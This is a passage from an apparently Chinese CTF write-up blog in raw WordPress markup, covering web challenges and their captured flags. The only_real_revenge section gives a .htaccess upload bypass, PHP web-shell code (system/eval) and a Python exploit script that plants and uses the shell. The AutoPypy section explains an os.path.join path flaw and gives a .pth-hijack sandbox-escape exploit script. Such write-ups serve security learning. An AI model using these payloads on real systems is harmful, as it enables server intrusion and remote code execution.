lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-256-1024x226.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"226\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-256-1024x226.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3267\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{xm_xxe_blind_success}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">only_real_revenge<\/h2>\n\n\n\n<p>\u8fd9\u4e2a\u662f\u4e0a\u4e00\u4e2a\u9898\u76ee\u4fee\u590d\u7248\u672c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-257.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"730\" height=\"468\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-257.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3268\"  sizes=\"auto, (max-width: 730px) 100vw, 730px\" \/><\/div><\/figure>\n\n\n\n<p>xmuser\/123456 \u767b\u5f55<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-258-1024x555.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"555\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-258-1024x555.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3269\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd8\u662f\u4e00\u6837\u4e0a\u4f20<\/p>\n\n\n\n<p>\u6587\u4ef6\u4e0a\u4f20\u6d4b\u8bd5<\/p>\n\n\n\n<p>\u6d4b\u8bd5\u5e38\u89c1\u6269\u5c55\u540d\u9ed1\u540d\u5355\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">\u6269\u5c55\u540d<\/th><th class=\"has-text-align-left\" data-align=\"left\">\u7ed3\u679c<\/th><\/tr><\/thead><tbody><tr><td class=\"has-text-align-left\" data-align=\"left\">.php<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u62e6\u622a<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">.php5<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u62e6\u622a<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">.phtml<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u62e6\u622a<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">.pht<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u6210\u529f<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">.phar<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u6210\u529f<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">.jpg<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u6210\u529f<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">.png<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u6210\u529f<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">.gif<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u6210\u529f<\/td><\/tr><tr><td class=\"has-text-align-left\" data-align=\"left\">.htaccess<\/td><td class=\"has-text-align-left\" data-align=\"left\">\u6210\u529f<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\u4e0a\u4f20 <code>.pht<\/code> \u6587\u4ef6\u540e\u8bbf\u95ee\uff0c\u53d1\u73b0\u4ee3\u7801\u88ab\u663e\u793a\u4f46\u672a\u6267\u884c\uff0c\u8bf4\u660e\u670d\u52a1\u5668\u4e0d\u89e3\u6790 <code>.pht<\/code>\u3002\u6240\u4ee5<\/p>\n\n\n\n<p>.htaccess \u7ed5\u8fc7<\/p>\n\n\n\n<p>\u540d\u5b57\u8981\u7ed5\u8fc7\u524d\u7aef\u7684 JavaScript \u6821\u9a8c \u6539\u6210jpg<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-259.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"876\" height=\"106\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-259.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3270\"  sizes=\"auto, (max-width: 876px) 100vw, 876px\" \/><\/div><\/figure>\n\n\n\n<p>\u5185\u5bb9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>AddType application\/x-httpd-php .jpg<\/code><\/pre>\n\n\n\n<p>\u4e0a\u4f20 JPG \u6587\u4ef6<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php system($_GET&#91;\"snajiu\"]); ?&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-260-1024x537.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"537\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-260-1024x537.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3271\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u4f20\u4e0d\u4e86\u9700\u8981\u628adisabled\u5220\u9664\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-261.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"836\" height=\"405\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-261.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3272\"  sizes=\"auto, (max-width: 836px) 100vw, 836px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u4f20\u8fd9\u4e2a\u8def\u5f84<\/p>\n\n\n\n<p>POST \/upload.php HTTP\/1.1<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-262-1024x686.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"686\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-262-1024x686.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3273\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u4f20\u540e\u7aef\u6539\u4e00\u4e2a\u5c31\u884c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-263-1024x787.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"787\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-263-1024x787.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3274\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u4f20\u6210\u529f<\/p>\n\n\n\n<p>\u4e0a\u4f20\u6728\u9a6c<\/p>\n\n\n\n<p>\u8def\u5f84\u8fd8\u662fupload.php<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-264-1024x677.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"677\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-264-1024x677.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3275\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e0a\u4f20\u6210\u529f<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-265.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"994\" height=\"640\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-265.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3276\"  sizes=\"auto, (max-width: 994px) 100vw, 994px\" \/><\/div><\/figure>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\nimport random\nimport string\n\nbase_url = \"http:\/\/80-ac14e8aa-1561-4224-81cd-213dbb5b9d6b.challenge.ctfplus.cn\"\nsession = requests.Session()\n\nsession.post(f\"{base_url}\/login.php\", data={\"user\": \"xmuser\", \"pass\": \"123456\"})\n\nrand = ''.join(random.choices(string.ascii_lowercase, k=6))\n\nhtaccess_content = b'AddType application\/x-httpd-php .jpg'\nfiles = {'file': ('.htaccess', htaccess_content)}\nresp = session.post(f\"{base_url}\/upload.php\", files=files)\nprint(f\".htaccess: {resp.text}\")\n\njpg_content = b'&lt;?php @eval($_POST&#91;\"sanjiu\"]); system($_GET&#91;\"c\"]); ?&gt;'\nfiles = {'file': (f'{rand}.jpg', jpg_content)}\nresp = session.post(f\"{base_url}\/upload.php\", files=files)\nprint(f\"1.jpg: {resp.text}\")\n\nshell_url = f\"{base_url}\/uploads\/{rand}.jpg\"\nprint(f\"nShell URL: {shell_url}\")\nprint(f\"Password: sanjiu\")\n\nresp = session.get(f\"{shell_url}?c=id\")\nprint(f\"nTest: {resp.text}\")\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-266-1024x692.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"692\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-266-1024x692.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3277\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fde\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{54e66b9d-cdc1-4763-a18b-7497a4827eb1}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">AutoPypy<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-267.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"776\" height=\"354\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-267.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3278\"  sizes=\"auto, (max-width: 776px) 100vw, 776px\" \/><\/div><\/figure>\n\n\n\n<p>\u767d\u76d2\uff0c\u770b\u6e90\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-268.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"949\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-268.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3279\"  sizes=\"auto, (max-width: 949px) 100vw, 949px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728 <code>server.py<\/code> \u7684 <code>\/run<\/code> \u8def\u7531\u4e2d\uff0c\u4ee3\u7801\u62fc\u63a5\u8def\u5f84\u7684\u65b9\u5f0f\u5b58\u5728\u903b\u8f91\u95ee\u9898\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>target_file = os.path.join('\/app\/uploads', filename)\n\n\u539f\u7406\uff1aPython \u7684 os.path.join \u5982\u679c\u9047\u5230\u4ee5 \/ \u5f00\u5934\u7684\u7edd\u5bf9\u8def\u5f84\u53c2\u6570\uff0c\u4f1a\u76f4\u63a5\u4e22\u5f03\u524d\u9762\u7684\u6240\u6709\u8def\u5f84\u3002\u56e0\u6b64\uff0c\u5f53\u6211\u4eec\u8f93\u5165 \/flag \u65f6\uff0ctarget_file \u5c31\u4e0d\u518d\u662f uploads \u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\uff0c\u800c\u662f\u7cfb\u7edf\u6839\u76ee\u5f55\u4e0b\u7684 \/flag\u3002\n\n\u5229\u7528\u673a\u5236\uff1aProot \u6302\u8f7d + Python \u62a5\u9519\u56de\u663e\nlauncher.py \u5c06\u6211\u4eec\u6307\u5b9a\u7684 target_file \u7ed1\u5b9a\u5230\u4e86\u6c99\u7bb1\u5185\u7684\u6267\u884c\u811a\u672c\u4e0a\uff1a\n\u7ed1\u5b9a\uff1aproot -b \/flag:\/app\/run.py\n\u6267\u884c\uff1a\u6c99\u7bb1\u542f\u52a8\u540e\u8fd0\u884c python3 run.py\uff08\u5b9e\u9645\u4e0a\u5c31\u662f\u5728\u8fd0\u884c \/flag\uff09\u3002\n\n\u7531\u4e8e \/flag \u6587\u4ef6\u5185\u5bb9\u662f\u5b57\u7b26\u4e32 xmctf{...}\uff0c\u4e0d\u7b26\u5408 Python \u8bed\u6cd5\u89c4\u8303\uff0cPython \u89e3\u91ca\u5668\u5728\u5c1d\u8bd5\u89e3\u6790\u5b83\u65f6\u4f1a\u76f4\u63a5\u62a5\u9519\u3002\nPython \u7684 SyntaxError \u62a5\u9519\u4fe1\u606f\u4f1a\u81ea\u52a8\u6253\u5370\u51fa\u51fa\u9519\u7684\u90a3\u4e00\u884c\u6e90\u7801\u3002<\/code><\/pre>\n\n\n\n<p>\u76f4\u63a5\/flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-269-1024x602.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"602\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-269-1024x602.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3280\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6211\u611f\u89c9\u662f\u975e\u9884\u671f<\/p>\n\n\n\n<p>\u4f5c\u8005\u5e94\u8be5\u539f\u7248\u662f Python \u4efb\u610f\u8def\u5f84\u5199\u5165 \u548c.pth\u52ab\u6301\u9003\u9038\u6c99\u7bb1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u539f\u7248\u4f5c\u8005\u5e94\u8be5\u8fd9\u4e2a\u662f\u9884\u671f\u89e3\n\u4efb\u610f\u6587\u4ef6\u5199\u5165\uff1aserver.py \u4f7f\u7528 os.path.join(UPLOAD_FOLDER, filename)\u3002\u5728 Python \u4e2d\uff0c\u82e5 filename \u4e3a\u7edd\u5bf9\u8def\u5f84\uff0cos.path.join \u4f1a\u5ffd\u7565\u524d\u9762\u7684\u8def\u5f84\uff0c\u76f4\u63a5\u4f7f\u7528\u8be5\u7edd\u5bf9\u8def\u5f84\u3002\n\n\u6c99\u7bb1\u9003\u9038 (.pth \u52ab\u6301)\uff1a\u670d\u52a1\u5668\u901a\u8fc7 subprocess.run \u542f\u52a8 Python \u8fdb\u7a0b\u3002Python \u542f\u52a8\u65f6\u4f1a\u81ea\u52a8\u52a0\u8f7d site-packages \u4e0b\u7684 .pth \u6587\u4ef6\u3002\u82e5\u5185\u5bb9\u5305\u542b import \u8bed\u53e5\uff0c\u5219\u4f1a\u6267\u884c\u5bf9\u5e94\u7684 Python \u4ee3\u7801\u3002\u7531\u4e8e\u7236\u8fdb\u7a0b\u5728\u5bbf\u4e3b\u673a\u73af\u5883\u542f\u52a8\uff0c\u4ee3\u7801\u4f1a\u9003\u9038\u51fa\u6c99\u7bb1\u3002<\/code><\/pre>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nurl = \"http:\/\/5000-87f7f281-f16e-4115-b9bf-63835b5504c7.challenge.ctfplus.cn\"\nbase_path = \"\/usr\/local\/lib\/python3.10\/site-packages\"\n\npayload = b\"import osntry:n    print(open('\/flag').read())nexcept:n    pass\"\nrequests.post(f\"{url}\/upload\", data={'filename': f\"{base_path}\/pwn.py\"}, files={'file': payload})\n\npth = b\"import pwnn\"\nrequests.post(f\"{url}\/upload\", data={'filename': f\"{base_path}\/pwn.pth\"}, files={'file': pth})\n\nr = requests.post(f\"{url}\/run\", json={\"filename\": \"any.py\"})\nprint(r.json().get('output'))<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{699f4568de00f2df35f98005567398d3}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ez_python<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-270.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"859\" height=\"450\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-270.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3281\"  sizes=\"auto, (max-width: 859px) 100vw, 859px\" \/><\/div><\/figure>\n\n\n\n<p>\u6709\u6e90\u7801<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-271.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"949\" height=\"764\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-271.png\" 